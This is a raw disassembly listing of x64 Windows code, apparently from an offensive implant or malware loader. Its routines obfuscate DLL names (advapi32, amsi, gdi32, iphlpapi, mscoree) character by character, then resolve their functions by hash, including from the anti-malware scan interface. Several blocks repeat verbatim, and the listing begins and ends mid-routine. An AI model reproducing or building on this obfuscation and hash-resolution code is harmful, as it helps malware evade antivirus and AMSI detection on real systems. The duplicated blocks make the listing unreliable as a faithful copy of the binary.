14001b063mov rcx, [rbx+2126]
14001b06amov edx, 0xffffffffe58c8805
14001b06fmov [rbx+1556], rax
14001b076call LdrFunctionAddr
14001b07bmov rcx, [rbx+2126]
14001b082mov edx, 0xffffffffd47b1967
14001b087mov [rbx+1372], rax
14001b08ecall LdrFunctionAddr
14001b093mov rcx, [rbx+2126]
14001b09amov edx, 0x5c0cc90b
14001b09fmov [rbx+1380], rax
14001b0a6call LdrFunctionAddr
14001b0abmov rcx, [rbx+2126]
14001b0b2mov edx, 0x5c048f5c
14001b0b7mov [rbx+1388], rax
14001b0becall LdrFunctionAddr
14001b0c3mov rcx, [rbx+2126]
14001b0camov edx, 0x31e175ce
14001b0cfmov [rbx+1396], rax
14001b0d6call LdrFunctionAddr
14001b0dbmov rcx, [rbx+2126]
14001b0e2mov edx, 0xffffffff9fb18806
14001b0e7mov [rbx+1404], rax
14001b0eecall LdrFunctionAddr
14001b0f3mov rcx, [rbx+2126]
14001b0famov edx, 0x136c4367
14001b0ffmov [rbx+1412], rax
14001b106call LdrFunctionAddr
14001b10bmov rcx, [rbx+2126]
14001b112mov edx, 0xffffffffa9174a4f
14001b117mov [rbx+1420], rax
14001b11ecall LdrFunctionAddr
14001b123mov rcx, [rbx+2126]
14001b12amov edx, 0x1cf324d0
14001b12fmov [rbx+1428], rax
14001b136call LdrFunctionAddr
14001b13bmov rcx, [rbx+2126]
14001b142mov edx, 0xd396389
14001b147mov [rbx+1436], rax
14001b14ecall LdrFunctionAddr
14001b153mov rcx, [rbx+2126]
14001b15amov edx, 0xffffffffc9f4966a
14001b15fmov [rbx+1444], rax
14001b166call LdrFunctionAddr
14001b16bmov rcx, [rbx+2126]
14001b172mov edx, 0xffffffff9d5beb66
14001b177mov [rbx+1604], rax
14001b17ecall LdrFunctionAddr
14001b183mov rcx, [rbx+2126]
14001b18amov edx, 0x4fa8b17d
14001b18fmov [rbx+1452], rax
14001b196call LdrFunctionAddr
14001b19bmov rcx, [rbx+2126]
14001b1a2mov edx, 0x2fb2f7d7
14001b1a7mov [rbx+1460], rax
14001b1aecall LdrFunctionAddr
14001b1b3mov rcx, [rbx+2126]
14001b1bamov edx, 0xffffffffd4c0dda1
14001b1bfmov [rbx+1468], rax
14001b1c6call LdrFunctionAddr
14001b1cbmov rcx, [rbx+2126]
14001b1d2mov edx, 0xe5d12f8
14001b1d7mov [rbx+1476], rax
14001b1decall LdrFunctionAddr
14001b1e3lea r9, [rip+54970]
14001b1eamov rdx, rbp
14001b1edmov rcx, rsi
14001b1f0mov r8l, 57
14001b1f6mov [rbx+1484], rax
14001b1fdcall printf.constprop.0
14001b202mov eax, 1
14001b207jmp 0x14001b225
14001b209
14001b209loc_14001b209:
14001b209rep stosb [rdi], al
14001b20blea r9, [rip+54956]
14001b212mov r8l, 60
14001b218mov rdx, rbp
14001b21bmov rcx, rsi
14001b21ecall printf.constprop.0
14001b223xor eax, eax
14001b225
14001b225loc_14001b225:
14001b225add rsp, 56
14001b229pop rbx
14001b22apop rsi
14001b22bpop rdi
14001b22cpop rbp
14001b22dret
14001ae30
14001ae30RtAdvapi32:
14001ae30push rbp
14001ae31xor eax, eax
14001ae33mov ecx, 65
14001ae38lea rbp, [rip+0x11c41]
14001ae3fpush rdi
14001ae40push rsi
14001ae41lea rsi, [rip+55880]
14001ae48push rbx
14001ae49sub rsp, 56
14001ae4dmov [rsp+35], rax
14001ae52lea rdi, [rsp+35]
14001ae57mov [rsp+40], rax
14001ae5ccall HideChar
14001ae61mov ecx, 86
14001ae66mov [rsp+35], al
14001ae6acall HideChar
14001ae6fmov ecx, 76
14001ae74mov [rsp+37], al
14001ae78call HideChar
14001ae7dmov ecx, 76
14001ae82mov [rsp+46], al
14001ae86call HideChar
14001ae8bmov ecx, 65
14001ae90mov [rsp+45], al
14001ae94call HideChar
14001ae99mov ecx, 46
14001ae9emov [rsp+38], al
14001aea2call HideChar
14001aea7xor ecx, ecx
14001aea9mov [rsp+43], al
14001aeadcall HideChar
14001aeb2mov ecx, 51
14001aeb7mov [rsp+47], al
14001aebbcall HideChar
14001aec0mov ecx, 50
14001aec5mov [rsp+41], al
14001aec9call HideChar
14001aecemov ecx, 68
14001aed3mov [rsp+42], al
14001aed7call HideChar
14001aedcmov ecx, 68
14001aee1mov [rsp+36], al
14001aee5call HideChar
14001aeeamov ecx, 73
14001aeefmov [rsp+44], al
14001aef3call HideChar
14001aef8mov ecx, 80
14001aefdmov [rsp+40], al
14001af01call HideChar
14001af06mov rcx, rdi
14001af09mov [rsp+39], al
14001af0dcall LdrModuleLoad
14001af12mov rbx, [rip+0x11457]
14001af19mov ecx, 13
14001af1etest rax, rax
14001af21mov [rbx+2126], rax
14001af28mov al, 0
14001af2aje 0x14001b209
14001af30rep stosb [rdi], al
14001af32mov rcx, [rbx+2126]
14001af39mov edx, 0x10357d2c
14001af3ecall LdrFunctionAddr
14001af43mov rcx, [rbx+2126]
14001af4amov edx, 0xfffffffff3e5480c
14001af4fmov [rbx+1340], rax
14001af56call LdrFunctionAddr
14001af5bmov rcx, [rbx+2126]
14001af62mov edx, 0xffffffffe139fc0a
14001af67mov [rbx+1356], rax
14001af6ecall LdrFunctionAddr
14001af73mov rcx, [rbx+2126]
14001af7amov edx, 0x7292758a
14001af7fmov [rbx+1364], rax
14001af86call LdrFunctionAddr
14001af8bmov rcx, [rbx+2126]
14001af92mov edx, 0xfffffffffca17e46
14001af97mov [rbx+1532], rax
14001af9ecall LdrFunctionAddr
14001afa3mov rcx, [rbx+2126]
14001afaamov edx, 0x5ed5d61a
14001afafmov [rbx+1348], rax
14001afb6call LdrFunctionAddr
14001afbbmov rcx, [rbx+2126]
14001afc2mov edx, 0x1e344064
14001afc7mov [rbx+1564], rax
14001afcecall LdrFunctionAddr
14001afd3mov rcx, [rbx+2126]
14001afdamov edx, 0xffffffffd51fdf8d
14001afdfmov [rbx+1596], rax
14001afe6call LdrFunctionAddr
14001afebmov rcx, [rbx+2126]
14001aff2mov edx, 0xffffffffd51fdfa3
14001aff7mov [rbx+1540], rax
14001affecall LdrFunctionAddr
14001b003mov rcx, [rbx+2126]
14001b00amov edx, 0xffffffffe249d070
14001b00fmov [rbx+1548], rax
14001b016call LdrFunctionAddr
14001b01bmov rcx, [rbx+2126]
14001b022mov edx, 0xffffffffd9f566f7
14001b027mov [rbx+1588], rax
14001b02ecall LdrFunctionAddr
14001b033mov rcx, [rbx+2126]
14001b03amov edx, 0x677fbb8b
14001b03fmov [rbx+1580], rax
14001b046call LdrFunctionAddr
14001b04bmov rcx, [rbx+2126]
14001b052mov edx, 0xffffffff843a85e8
14001b057mov [rbx+1572], rax
14001b05ecall LdrFunctionAddr
14001b063mov rcx, [rbx+2126]
14001b06amov edx, 0xffffffffe58c8805
14001b06fmov [rbx+1556], rax
14001b076call LdrFunctionAddr
14001b07bmov rcx, [rbx+2126]
14001b082mov edx, 0xffffffffd47b1967
14001b087mov [rbx+1372], rax
14001b08ecall LdrFunctionAddr
14001b093mov rcx, [rbx+2126]
14001b09amov edx, 0x5c0cc90b
14001b09fmov [rbx+1380], rax
14001b0a6call LdrFunctionAddr
14001b0abmov rcx, [rbx+2126]
14001b0b2mov edx, 0x5c048f5c
14001b0b7mov [rbx+1388], rax
14001b0becall LdrFunctionAddr
14001b0c3mov rcx, [rbx+2126]
14001b0camov edx, 0x31e175ce
14001b0cfmov [rbx+1396], rax
14001b0d6call LdrFunctionAddr
14001b0dbmov rcx, [rbx+2126]
14001b0e2mov edx, 0xffffffff9fb18806
14001b0e7mov [rbx+1404], rax
14001b0eecall LdrFunctionAddr
14001b0f3mov rcx, [rbx+2126]
14001b0famov edx, 0x136c4367
14001b0ffmov [rbx+1412], rax
14001b106call LdrFunctionAddr
14001b10bmov rcx, [rbx+2126]
14001b112mov edx, 0xffffffffa9174a4f
14001b117mov [rbx+1420], rax
14001b11ecall LdrFunctionAddr
14001b123mov rcx, [rbx+2126]
14001b12amov edx, 0x1cf324d0
14001b12fmov [rbx+1428], rax
14001b136call LdrFunctionAddr
14001b13bmov rcx, [rbx+2126]
14001b142mov edx, 0xd396389
14001b147mov [rbx+1436], rax
14001b14ecall LdrFunctionAddr
14001b153mov rcx, [rbx+2126]
14001b15amov edx, 0xffffffffc9f4966a
14001b15fmov [rbx+1444], rax
14001b166call LdrFunctionAddr
14001b16bmov rcx, [rbx+2126]
14001b172mov edx, 0xffffffff9d5beb66
14001b177mov [rbx+1604], rax
14001b17ecall LdrFunctionAddr
14001b183mov rcx, [rbx+2126]
14001b18amov edx, 0x4fa8b17d
14001b18fmov [rbx+1452], rax
14001b196call LdrFunctionAddr
14001b19bmov rcx, [rbx+2126]
14001b1a2mov edx, 0x2fb2f7d7
14001b1a7mov [rbx+1460], rax
14001b1aecall LdrFunctionAddr
14001b1b3mov rcx, [rbx+2126]
14001b1bamov edx, 0xffffffffd4c0dda1
14001b1bfmov [rbx+1468], rax
14001b1c6call LdrFunctionAddr
14001b1cbmov rcx, [rbx+2126]
14001b1d2mov edx, 0xe5d12f8
14001b1d7mov [rbx+1476], rax
14001b1decall LdrFunctionAddr
14001b1e3lea r9, [rip+54970]
14001b1eamov rdx, rbp
14001b1edmov rcx, rsi
14001b1f0mov r8l, 57
14001b1f6mov [rbx+1484], rax
14001b1fdcall printf.constprop.0
14001b202mov eax, 1
14001b207jmp 0x14001b225
14001b209
14001b209loc_14001b209:
14001b209rep stosb [rdi], al
14001b20blea r9, [rip+54956]
14001b212mov r8l, 60
14001b218mov rdx, rbp
14001b21bmov rcx, rsi
14001b21ecall printf.constprop.0
14001b223xor eax, eax
14001b225
14001b225loc_14001b225:
14001b225add rsp, 56
14001b229pop rbx
14001b22apop rsi
14001b22bpop rdi
14001b22cpop rbp
14001b22dret
14001ae30
14001b22e
14001b22e // align 0x10
14001b22e // align 0x10
14001b230
14001b230RtAmsi:
14001b230push rbp
14001b231xor eax, eax
14001b233mov ecx, 73
14001b238lea rbp, [rip+0x11621]
14001b23fpush rdi
14001b240push rsi
14001b241lea rsi, [rip+54856]
14001b248push rbx
14001b249sub rsp, 56
14001b24dmov [rsp+39], rax
14001b252lea rdi, [rsp+39]
14001b257mov [rsp+47], 0
14001b25ccall HideChar
14001b261mov ecx, 68
14001b266mov [rsp+42], al
14001b26acall HideChar
14001b26fmov ecx, 76
14001b274mov [rsp+44], al
14001b278call HideChar
14001b27dxor ecx, ecx
14001b27fmov [rsp+46], al
14001b283call HideChar
14001b288mov ecx, 76
14001b28dmov [rsp+47], al
14001b291call HideChar
14001b296mov ecx, 46
14001b29bmov [rsp+45], al
14001b29fcall HideChar
14001b2a4mov ecx, 65
14001b2a9mov [rsp+43], al
14001b2adcall HideChar
14001b2b2mov ecx, 77
14001b2b7mov [rsp+39], al
14001b2bbcall HideChar
14001b2c0mov ecx, 83
14001b2c5mov [rsp+40], al
14001b2c9call HideChar
14001b2cemov rcx, rdi
14001b2d1mov [rsp+41], al
14001b2d5call LdrModuleLoad
14001b2damov rbx, [rip+0x1108f]
14001b2e1mov ecx, 9
14001b2e6test rax, rax
14001b2e9mov [rbx+2214], rax
14001b2f0mov al, 0
14001b2f2je 0x14001b32d
14001b2f4rep stosb [rdi], al
14001b2f6mov rcx, [rbx+2214]
14001b2fdmov edx, 0xffffffffbab3d02e
14001b302call LdrFunctionAddr
14001b307lea r9, [rip+55204]
14001b30emov rdx, rbp
14001b311mov rcx, rsi
14001b314mov r8l, 448
14001b31amov [rbx+2020], rax
14001b321call printf.constprop.0
14001b326mov eax, 1
14001b32bjmp 0x14001b349
14001b32d
14001b32dloc_14001b32d:
14001b32drep stosb [rdi], al
14001b32flea r9, [rip+55186]
14001b336mov r8l, 451
14001b33cmov rdx, rbp
14001b33fmov rcx, rsi
14001b342call printf.constprop.0
14001b347xor eax, eax
14001b349
14001b349loc_14001b349:
14001b349add rsp, 56
14001b34dpop rbx
14001b34epop rsi
14001b34fpop rdi
14001b350pop rbp
14001b351ret
14001b230
14001b230RtAmsi:
14001b230push rbp
14001b231xor eax, eax
14001b233mov ecx, 73
14001b238lea rbp, [rip+0x11621]
14001b23fpush rdi
14001b240push rsi
14001b241lea rsi, [rip+54856]
14001b248push rbx
14001b249sub rsp, 56
14001b24dmov [rsp+39], rax
14001b252lea rdi, [rsp+39]
14001b257mov [rsp+47], 0
14001b25ccall HideChar
14001b261mov ecx, 68
14001b266mov [rsp+42], al
14001b26acall HideChar
14001b26fmov ecx, 76
14001b274mov [rsp+44], al
14001b278call HideChar
14001b27dxor ecx, ecx
14001b27fmov [rsp+46], al
14001b283call HideChar
14001b288mov ecx, 76
14001b28dmov [rsp+47], al
14001b291call HideChar
14001b296mov ecx, 46
14001b29bmov [rsp+45], al
14001b29fcall HideChar
14001b2a4mov ecx, 65
14001b2a9mov [rsp+43], al
14001b2adcall HideChar
14001b2b2mov ecx, 77
14001b2b7mov [rsp+39], al
14001b2bbcall HideChar
14001b2c0mov ecx, 83
14001b2c5mov [rsp+40], al
14001b2c9call HideChar
14001b2cemov rcx, rdi
14001b2d1mov [rsp+41], al
14001b2d5call LdrModuleLoad
14001b2damov rbx, [rip+0x1108f]
14001b2e1mov ecx, 9
14001b2e6test rax, rax
14001b2e9mov [rbx+2214], rax
14001b2f0mov al, 0
14001b2f2je 0x14001b32d
14001b2f4rep stosb [rdi], al
14001b2f6mov rcx, [rbx+2214]
14001b2fdmov edx, 0xffffffffbab3d02e
14001b302call LdrFunctionAddr
14001b307lea r9, [rip+55204]
14001b30emov rdx, rbp
14001b311mov rcx, rsi
14001b314mov r8l, 448
14001b31amov [rbx+2020], rax
14001b321call printf.constprop.0
14001b326mov eax, 1
14001b32bjmp 0x14001b349
14001b32d
14001b32dloc_14001b32d:
14001b32drep stosb [rdi], al
14001b32flea r9, [rip+55186]
14001b336mov r8l, 451
14001b33cmov rdx, rbp
14001b33fmov rcx, rsi
14001b342call printf.constprop.0
14001b347xor eax, eax
14001b349
14001b349loc_14001b349:
14001b349add rsp, 56
14001b34dpop rbx
14001b34epop rsi
14001b34fpop rdi
14001b350pop rbp
14001b351ret
14001b230
14001b352
14001b352 // align 0x10
14001b352 // align 0x10
14001b360
14001b360RtGdi32:
14001b360push rbp
14001b361xor eax, eax
14001b363mov ecx, 50
14001b368lea rbp, [rip+0x11eb1]
14001b36fpush rdi
14001b370push rsi
14001b371lea rsi, [rip+54552]
14001b378push rbx
14001b379sub rsp, 56
14001b37dmov [rsp+38], rax
14001b382lea rdi, [rsp+38]
14001b387mov [rsp+46], 0
14001b38ecall HideChar
14001b393mov ecx, 68
14001b398mov [rsp+42], al
14001b39ccall HideChar
14001b3a1mov ecx, 46
14001b3a6mov [rsp+44], al
14001b3aacall HideChar
14001b3afmov ecx, 76
14001b3b4mov [rsp+43], al
14001b3b8call HideChar
14001b3bdmov ecx, 73
14001b3c2mov [rsp+46], al
14001b3c6call HideChar
14001b3cbmov ecx, 68
14001b3d0mov [rsp+40], al
14001b3d4call HideChar
14001b3d9mov ecx, 76
14001b3demov [rsp+39], al
14001b3e2call HideChar
14001b3e7xor ecx, ecx
14001b3e9mov [rsp+45], al
14001b3edcall HideChar
14001b3f2mov ecx, 71
14001b3f7mov [rsp+47], al
14001b3fbcall HideChar
14001b400mov ecx, 51
14001b405mov [rsp+38], al
14001b409call HideChar
14001b40emov rcx, rdi
14001b411mov [rsp+41], al
14001b415call LdrModuleLoad
14001b41amov rbx, [rip+0x10f4f]
14001b421mov ecx, 10
14001b426test rax, rax
14001b429mov [rbx+2182], rax
14001b430mov al, 0
14001b432je 0x14001b519
14001b438rep stosb [rdi], al
14001b43amov rcx, [rbx+2182]
14001b441mov edx, 0xfffffffffe6f663f
14001b446call LdrFunctionAddr
14001b44bmov rcx, [rbx+2182]
14001b452mov edx, 0xffffffffa04fbb33
14001b457mov [rbx+1716], rax
14001b45ecall LdrFunctionAddr
14001b463mov rcx, [rbx+2182]
14001b46amov edx, 0xffffffffd0b24920
14001b46fmov [rbx+1724], rax
14001b476call LdrFunctionAddr
14001b47bmov rcx, [rbx+2182]
14001b482mov edx, 0x2c2309dd
14001b487mov [rbx+1732], rax
14001b48ecall LdrFunctionAddr
14001b493mov rcx, [rbx+2182]
14001b49amov edx, 0xffffffff96a6b43c
14001b49fmov [rbx+1740], rax
14001b4a6call LdrFunctionAddr
14001b4abmov rcx, [rbx+2182]
14001b4b2mov edx, 0xffffffffa72badc6
14001b4b7mov [rbx+1748], rax
14001b4becall LdrFunctionAddr
14001b4c3mov rcx, [rbx+2182]
14001b4camov edx, 0xffffffffe619cf2f
14001b4cfmov [rbx+1756], rax
14001b4d6call LdrFunctionAddr
14001b4dbmov rcx, [rbx+2182]
14001b4e2mov edx, 0xffffffffb2fa1ebf
14001b4e7mov [rbx+1764], rax
14001b4eecall LdrFunctionAddr
14001b4f3lea r9, [rip+54524]
14001b4famov rdx, rbp
14001b4fdmov rcx, rsi
14001b500mov r8l, 296
14001b506mov [rbx+1772], rax
14001b50dcall printf.constprop.0
14001b512mov eax, 1
14001b517jmp 0x14001b535
14001b519
14001b519loc_14001b519:
14001b519rep stosb [rdi], al
14001b51blea r9, [rip+54507]
14001b522mov r8l, 299
14001b528mov rdx, rbp
14001b52bmov rcx, rsi
14001b52ecall printf.constprop.0
14001b533xor eax, eax
14001b535
14001b535loc_14001b535:
14001b535add rsp, 56
14001b539pop rbx
14001b53apop rsi
14001b53bpop rdi
14001b53cpop rbp
14001b53dret
14001b360
14001b360RtGdi32:
14001b360push rbp
14001b361xor eax, eax
14001b363mov ecx, 50
14001b368lea rbp, [rip+0x11eb1]
14001b36fpush rdi
14001b370push rsi
14001b371lea rsi, [rip+54552]
14001b378push rbx
14001b379sub rsp, 56
14001b37dmov [rsp+38], rax
14001b382lea rdi, [rsp+38]
14001b387mov [rsp+46], 0
14001b38ecall HideChar
14001b393mov ecx, 68
14001b398mov [rsp+42], al
14001b39ccall HideChar
14001b3a1mov ecx, 46
14001b3a6mov [rsp+44], al
14001b3aacall HideChar
14001b3afmov ecx, 76
14001b3b4mov [rsp+43], al
14001b3b8call HideChar
14001b3bdmov ecx, 73
14001b3c2mov [rsp+46], al
14001b3c6call HideChar
14001b3cbmov ecx, 68
14001b3d0mov [rsp+40], al
14001b3d4call HideChar
14001b3d9mov ecx, 76
14001b3demov [rsp+39], al
14001b3e2call HideChar
14001b3e7xor ecx, ecx
14001b3e9mov [rsp+45], al
14001b3edcall HideChar
14001b3f2mov ecx, 71
14001b3f7mov [rsp+47], al
14001b3fbcall HideChar
14001b400mov ecx, 51
14001b405mov [rsp+38], al
14001b409call HideChar
14001b40emov rcx, rdi
14001b411mov [rsp+41], al
14001b415call LdrModuleLoad
14001b41amov rbx, [rip+0x10f4f]
14001b421mov ecx, 10
14001b426test rax, rax
14001b429mov [rbx+2182], rax
14001b430mov al, 0
14001b432je 0x14001b519
14001b438rep stosb [rdi], al
14001b43amov rcx, [rbx+2182]
14001b441mov edx, 0xfffffffffe6f663f
14001b446call LdrFunctionAddr
14001b44bmov rcx, [rbx+2182]
14001b452mov edx, 0xffffffffa04fbb33
14001b457mov [rbx+1716], rax
14001b45ecall LdrFunctionAddr
14001b463mov rcx, [rbx+2182]
14001b46amov edx, 0xffffffffd0b24920
14001b46fmov [rbx+1724], rax
14001b476call LdrFunctionAddr
14001b47bmov rcx, [rbx+2182]
14001b482mov edx, 0x2c2309dd
14001b487mov [rbx+1732], rax
14001b48ecall LdrFunctionAddr
14001b493mov rcx, [rbx+2182]
14001b49amov edx, 0xffffffff96a6b43c
14001b49fmov [rbx+1740], rax
14001b4a6call LdrFunctionAddr
14001b4abmov rcx, [rbx+2182]
14001b4b2mov edx, 0xffffffffa72badc6
14001b4b7mov [rbx+1748], rax
14001b4becall LdrFunctionAddr
14001b4c3mov rcx, [rbx+2182]
14001b4camov edx, 0xffffffffe619cf2f
14001b4cfmov [rbx+1756], rax
14001b4d6call LdrFunctionAddr
14001b4dbmov rcx, [rbx+2182]
14001b4e2mov edx, 0xffffffffb2fa1ebf
14001b4e7mov [rbx+1764], rax
14001b4eecall LdrFunctionAddr
14001b4f3lea r9, [rip+54524]
14001b4famov rdx, rbp
14001b4fdmov rcx, rsi
14001b500mov r8l, 296
14001b506mov [rbx+1772], rax
14001b50dcall printf.constprop.0
14001b512mov eax, 1
14001b517jmp 0x14001b535
14001b519
14001b519loc_14001b519:
14001b519rep stosb [rdi], al
14001b51blea r9, [rip+54507]
14001b522mov r8l, 299
14001b528mov rdx, rbp
14001b52bmov rcx, rsi
14001b52ecall printf.constprop.0
14001b533xor eax, eax
14001b535
14001b535loc_14001b535:
14001b535add rsp, 56
14001b539pop rbx
14001b53apop rsi
14001b53bpop rdi
14001b53cpop rbp
14001b53dret
14001b360
14001b53e
14001b53e // align 0x10
14001b53e // align 0x10
14001b540
14001b540RtIphlpapi:
14001b540push rbp
14001b541xor eax, eax
14001b543mov ecx, 46
14001b548lea rbp, [rip+0x11d71]
14001b54fpush rdi
14001b550push rsi
14001b551lea rsi, [rip+54072]
14001b558push rbx
14001b559sub rsp, 56
14001b55dmov [rsp+35], rax
14001b562lea rdi, [rsp+35]
14001b567mov [rsp+40], rax
14001b56ccall HideChar
14001b571mov ecx, 73
14001b576mov [rsp+43], al
14001b57acall HideChar
14001b57fmov ecx, 76
14001b584mov [rsp+35], al
14001b588call HideChar
14001b58dmov ecx, 72
14001b592mov [rsp+45], al
14001b596call HideChar
14001b59bmov ecx, 68
14001b5a0mov [rsp+37], al
14001b5a4call HideChar
14001b5a9mov ecx, 80
14001b5aemov [rsp+44], al
14001b5b2call HideChar
14001b5b7mov ecx, 76
14001b5bcmov [rsp+41], al
14001b5c0call HideChar
14001b5c5mov ecx, 80
14001b5camov [rsp+46], al
14001b5cecall HideChar
14001b5d3mov ecx, 76
14001b5d8mov [rsp+36], al
14001b5dccall HideChar
14001b5e1xor ecx, ecx
14001b5e3mov [rsp+38], al
14001b5e7call HideChar
14001b5ecmov ecx, 65
14001b5f1mov [rsp+47], al
14001b5f5call HideChar
14001b5famov ecx, 80
14001b5ffmov [rsp+40], al
14001b603call HideChar
14001b608mov ecx, 73
14001b60dmov [rsp+39], al
14001b611call HideChar
14001b616mov rcx, rdi
14001b619mov [rsp+42], al
14001b61dcall LdrModuleLoad
14001b622mov rbx, [rip+0x10d47]
14001b629mov ecx, 13
14001b62etest rax, rax
14001b631mov [rbx+2174], rax
14001b638mov al, 0
14001b63aje 0x14001b675
14001b63crep stosb [rdi], al
14001b63emov rcx, [rbx+2174]
14001b645mov edx, 0x37cada45
14001b64acall LdrFunctionAddr
14001b64flea r9, [rip+54126]
14001b656mov rdx, rbp
14001b659mov rcx, rsi
14001b65cmov r8l, 259
14001b662mov [rbx+1684], rax
14001b669call printf.constprop.0
14001b66emov eax, 1
14001b673jmp 0x14001b691
14001b675
14001b675loc_14001b675:
14001b675rep stosb [rdi], al
14001b677lea r9, [rip+54112]
14001b67emov r8l, 262
14001b684mov rdx, rbp
14001b687mov rcx, rsi
14001b68acall printf.constprop.0
14001b68fxor eax, eax
14001b691
14001b691loc_14001b691:
14001b691add rsp, 56
14001b695pop rbx
14001b696pop rsi
14001b697pop rdi
14001b698pop rbp
14001b699ret
14001b540
14001b540RtIphlpapi:
14001b540push rbp
14001b541xor eax, eax
14001b543mov ecx, 46
14001b548lea rbp, [rip+0x11d71]
14001b54fpush rdi
14001b550push rsi
14001b551lea rsi, [rip+54072]
14001b558push rbx
14001b559sub rsp, 56
14001b55dmov [rsp+35], rax
14001b562lea rdi, [rsp+35]
14001b567mov [rsp+40], rax
14001b56ccall HideChar
14001b571mov ecx, 73
14001b576mov [rsp+43], al
14001b57acall HideChar
14001b57fmov ecx, 76
14001b584mov [rsp+35], al
14001b588call HideChar
14001b58dmov ecx, 72
14001b592mov [rsp+45], al
14001b596call HideChar
14001b59bmov ecx, 68
14001b5a0mov [rsp+37], al
14001b5a4call HideChar
14001b5a9mov ecx, 80
14001b5aemov [rsp+44], al
14001b5b2call HideChar
14001b5b7mov ecx, 76
14001b5bcmov [rsp+41], al
14001b5c0call HideChar
14001b5c5mov ecx, 80
14001b5camov [rsp+46], al
14001b5cecall HideChar
14001b5d3mov ecx, 76
14001b5d8mov [rsp+36], al
14001b5dccall HideChar
14001b5e1xor ecx, ecx
14001b5e3mov [rsp+38], al
14001b5e7call HideChar
14001b5ecmov ecx, 65
14001b5f1mov [rsp+47], al
14001b5f5call HideChar
14001b5famov ecx, 80
14001b5ffmov [rsp+40], al
14001b603call HideChar
14001b608mov ecx, 73
14001b60dmov [rsp+39], al
14001b611call HideChar
14001b616mov rcx, rdi
14001b619mov [rsp+42], al
14001b61dcall LdrModuleLoad
14001b622mov rbx, [rip+0x10d47]
14001b629mov ecx, 13
14001b62etest rax, rax
14001b631mov [rbx+2174], rax
14001b638mov al, 0
14001b63aje 0x14001b675
14001b63crep stosb [rdi], al
14001b63emov rcx, [rbx+2174]
14001b645mov edx, 0x37cada45
14001b64acall LdrFunctionAddr
14001b64flea r9, [rip+54126]
14001b656mov rdx, rbp
14001b659mov rcx, rsi
14001b65cmov r8l, 259
14001b662mov [rbx+1684], rax
14001b669call printf.constprop.0
14001b66emov eax, 1
14001b673jmp 0x14001b691
14001b675
14001b675loc_14001b675:
14001b675rep stosb [rdi], al
14001b677lea r9, [rip+54112]
14001b67emov r8l, 262
14001b684mov rdx, rbp
14001b687mov rcx, rsi
14001b68acall printf.constprop.0
14001b68fxor eax, eax
14001b691
14001b691loc_14001b691:
14001b691add rsp, 56
14001b695pop rbx
14001b696pop rsi
14001b697pop rdi
14001b698pop rbp
14001b699ret
14001b540
14001b69a
14001b69a // align 0x10
14001b69a // align 0x10
14001b6a0
14001b6a0RtMscoree:
14001b6a0push rbp
14001b6a1xor edx, edx
14001b6a3xor eax, eax
14001b6a5mov ecx, 83
14001b6aapush rdi
14001b6ablea rbp, [rip+0x1136e]
14001b6b2push rsi
14001b6b3lea rsi, [rip+53718]
14001b6bapush rbx
14001b6bbsub rsp, 56
14001b6bfmov [rsp+44], edx
14001b6c3lea rdi, [rsp+36]
14001b6c8mov [rsp+36], rax
14001b6cdcall HideChar
14001b6d2mov ecx, 67
14001b6d7mov [rsp+37], al
14001b6dbcall HideChar
14001b6e0xor ecx, ecx
14001b6e2mov [rsp+38], al
14001b6e6call HideChar
14001b6ebmov ecx, 77
14001b6f0mov [rsp+47], al
14001b6f4call HideChar
14001b6f9mov ecx, 76
14001b6femov [rsp+36], al
14001b702call HideChar
14001b707mov ecx, 68
14001b70cmov [rsp+46], al
14001b710call HideChar
14001b715mov ecx, 46
14001b71amov [rsp+44], al
14001b71ecall HideChar
14001b723mov ecx, 76
14001b728mov [rsp+43], al
14001b72ccall HideChar
14001b731mov ecx, 69
14001b736mov [rsp+45], al
14001b73acall HideChar
14001b73fmov ecx, 82
14001b744mov [rsp+41], al
14001b748call HideChar
14001b74dmov ecx, 69
14001b752mov [rsp+40], al
14001b756call HideChar
14001b75bmov ecx, 79
14001b760mov [rsp+42], al
14001b764call HideChar
14001b769mov rcx, rdi
14001b76cmov [rsp+39], al
14001b770call LdrModuleLoad
14001b775mov rbx, [rip+0x10bf4]
14001b77cmov ecx, 12
14001b781test rax, rax
14001b784mov [rbx+2134], rax
14001b78bmov al, 0
14001b78dje 0x14001b7c8
14001b78frep stosb [rdi], al
14001b791mov rcx, [rbx+2134]
14001b798mov edx, 0x2303b88f
14001b79dcall LdrFunctionAddr
14001b7a2lea r9, [rip+53549]
14001b7a9mov rdx, rbp
14001b7acmov rcx, rsi
14001b7afmov r8l, 89
14001b7b5mov [rbx+1276], rax
14001b7bccall printf.constprop.0
14001b7c1mov eax, 1
14001b7c6jmp 0x14001b7e4
14001b7c8
14001b7c8loc_14001b7c8:
14001b7c8rep stosb [rdi], al
14001b7calea r9, [rip+53534]
14001b7d1mov r8l, 92
14001b7d7mov rdx, rbp
14001b7damov rcx, rsi
14001b7ddcall printf.constprop.0
14001b7e2xor eax, eax
14001b7e4
14001b7e4loc_14001b7e4:
14001b7e4add rsp, 56
14001b7e8pop rbx
14001b7e9pop rsi
14001b7eapop rdi
14001b7ebpop rbp
14001b7ecret
14001b6a0
14001b6a0RtMscoree:
14001b6a0push rbp
14001b6a1xor edx, edx
14001b6a3xor eax, eax
14001b6a5mov ecx, 83
14001b6aapush rdi
14001b6ablea rbp, [rip+0x1136e]
14001b6b2push rsi
14001b6b3lea rsi, [rip+53718]
14001b6bapush rbx
14001b6bbsub rsp, 56
14001b6bfmov [rsp+44], edx
14001b6c3lea rdi, [rsp+36]
14001b6c8mov [rsp+36], rax
14001b6cdcall HideChar
14001b6d2mov ecx, 67
14001b6d7mov [rsp+37], al
14001b6dbcall HideChar
14001b6e0xor ecx, ecx
14001b6e2mov [rsp+38], al
14001b6e6call HideChar
14001b6ebmov ecx, 77
14001b6f0mov [rsp+47], al
14001b6f4call HideChar
14001b6f9mov ecx, 76
14001b6femov [rsp+36], al
14001b702call HideChar
14001b707mov ecx, 68
14001b70cmov [rsp+46], al
14001b710call HideChar
14001b715mov ecx, 46
14001b71amov [rsp+44], al
14001b71ecall HideChar
14001b723mov ecx, 76
14001b728mov [rsp+43], al
14001b72ccall HideChar
14001b731mov ecx, 69
14001b736mov [rsp+45], al
14001b73acall HideChar
14001b73fmov ecx, 82
14001b744mov [rsp+41], al
14001b748call HideChar
14001b74dmov ecx, 69
14001b752mov [rsp+40], al
14001b756call HideChar
14001b75bmov ecx, 79
14001b760mov [rsp+42], al
14001b764call HideChar
14001b769mov rcx, rdi
14001b76cmov [rsp+39], al
14001b770call LdrModuleLoad
14001b775mov rbx, [rip+0x10bf4]
14001b77cmov ecx, 12
14001b781test rax, rax
14001b784mov [rbx+2134], rax
